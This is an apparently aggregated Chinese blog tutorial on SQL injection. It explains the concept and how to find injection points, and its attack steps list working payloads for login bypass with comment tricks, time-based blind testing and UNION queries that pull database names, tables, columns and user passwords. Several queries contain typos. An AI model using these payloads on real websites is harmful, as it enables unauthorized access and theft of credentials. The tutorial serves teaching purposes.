SQL注入 妖狐艹你老母 2022-01-29 06:21 384阅读 0赞 **一、SQL注入概念** 1、sql注入是一种将sql代码添加到输入参数中 2、传递到sql服务器解析并执行的一种攻击手法 举例:某个网站的用户名为name=‘admin’。执行时为select name from users where name=‘admin’ 则输入时输入name='' or '1=1'。实则数据库中执行的是select name from users where name='' or '1=1'则为真,用户名有效 **二、SQL注入的产生** 1、web开发人员无法保证所有的输入都已经过滤 2、攻击者利用发送给sql服务器的输入数据构造可执行的sql代码 3、数据库未做相应的安全配置 对于1和2两点,攻击者可以利用get请求、post请求、cookie信息、相应的http头信息等进行数据的输入而达到攻击的目的 **三、寻找sql注入漏洞** 1、通过构造异常而引发异常,例如:只支持整型的地方输入特殊字符来引起sql异常 2、通过get请求、post请求、cookie信息、相应的http头信息等查找敏感信息 3、检测服务器中相应的异常 **四、进行sql注入攻击** 1、数字注入。利用数据库中where判断语句中数字输入进行攻击。 例如:select name from users where name='' or '1=1'。结果永远为true 2、字符串注入。利用mysql的注释方法进行攻击 a、\#注释的方法。 用户名的输入框中输入:admin'\#,密码任意填写。 在数据库中执行的是:select \* from name='admin'\#'and password=xxxxx'。\#后面的全部注释掉,判断的时候只判断name=admin b、-- hdka方法,两个横杠+空格+任意字符。在执行的时候空格后面的所有被当作注释处理 用户名的输入框中输入:admin'-- ,密码任意填写。 在数据库中执行的是:select \* from name='admin'-- 'and password=xxxxx'。\#后面的全部注释掉,判断的时候只判断name=admin **五、注入步骤** ** 1、找寻注入点** 输入一个单引号,如果报错说明语法错误则存在注入点 执行的语句为:select xxx form xxx where x=‘‘’; 如果单引号没有反应,可尝试盲注 加时间进行尝试 X' and sleep(10) --ss' sleep中的为时间,10即位10s 如果浏览器显示在加载中说明可能存在注册点 ** 2、猜字段** Sql中数字可以作为字段进行匹配 因为使用union必须前后字段数量相同 ' union select 1 -- ' ' union select 1,2 -- ' ' union select 1,2,3 -- ' ... 如果前面语句中只有两个字段,但是想要获取4个其他表中字段值,使用concat 例:selcet id,name form user where = 输入框; 注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --' ** 3、使用union获得其他表信息** 获得当前数据库及用户信息 ' union select version(),database() --' 数据库版本信息 version() 获得当前数据库名 database() 查询所有库名 'union select TABLE\_SCHEMA from INFORMATION\_SCHEMA.tables --' 查询表名 'union select table\_name from INFORMATION\_SCHEMA.tables --' 查询表名及对应的库名 'union select TABLE\_SCHEMA,table\_name from INFORMATION\_SCHEMA.tables --' 查询数据表中的列名 'union select colunm\_name from INFORMATION\_SCHEMA.colunms where table\_name='xxx表' --'
相关 sql注入 1、假如有一个系统,需要输入用户名和密码进行登录,那么这个系统的后台肯定有一条sql,这个sql的逻辑是根据用户名和密码去 查询有没有这个用户,如果有,就登录成功,如果没有, 朱雀/ 2023年06月19日 02:29/ 0 赞/ 20 阅读
相关 sql注入 [表单hhhhh][hhhhh] [tricks][] 今天发现了带外注入 out of band(OOB) [hhhhh]: https://www.netspark 柔情只为你懂/ 2022年12月13日 14:04/ 0 赞/ 202 阅读
相关 Sql注入 防止SQL注入 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过[正则表达式][Link 1],或限制长度;对单引号和双"-"进行转换等。 2 我就是我/ 2022年08月23日 12:51/ 0 赞/ 269 阅读
相关 SQL注入 基本概念: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序, 你的名字/ 2022年07月26日 11:15/ 0 赞/ 274 阅读
相关 SQL注入 SQL注入(SQL injection),是应用程序在数据库层的安全漏洞, 简而言之,在输入的字符串(web表单,输入域名或页面请求)中注入SQL语句,程序未设置对字符串的 朱雀/ 2022年07月20日 12:11/ 0 赞/ 323 阅读
相关 sql注入 所谓的sql注入就是当我们输入用户名和密码时用户输入了用户名+‘\,没有输入密码就直接连接数据库的操作 当我们开发人员进行编程时,如果将要发送的mysql语句用拼接的方式发送 电玩女神/ 2022年05月24日 03:43/ 0 赞/ 305 阅读
相关 sql注入与防止sql注入 数据库中的数据 ![70][] sql代码 package com.zjw.jdbc2; import java.sql.Connection; 超、凢脫俗/ 2022年05月10日 19:12/ 0 赞/ 432 阅读
相关 SQL注入 一、SQL注入概念 1、sql注入是一种将sql代码添加到输入参数中 2、传递到sql服务器解析并执行的一种攻击手法 举例:某个网站的用户名为name=‘ad 妖狐艹你老母/ 2022年01月29日 06:21/ 0 赞/ 384 阅读
相关 sql注入 sql注入说的是不知道数据库的用户名和密码的情况下进入数据库的方法 例如 select from users where username='username' 女爷i/ 2021年12月15日 23:37/ 0 赞/ 341 阅读
相关 sql注入 1、SQL注入 ![1541314-20190621144203912-2122568986.png][] ![1541314-20190621144231960-15 - 日理万妓/ 2021年12月11日 05:17/ 0 赞/ 443 阅读
还没有评论,来说两句吧...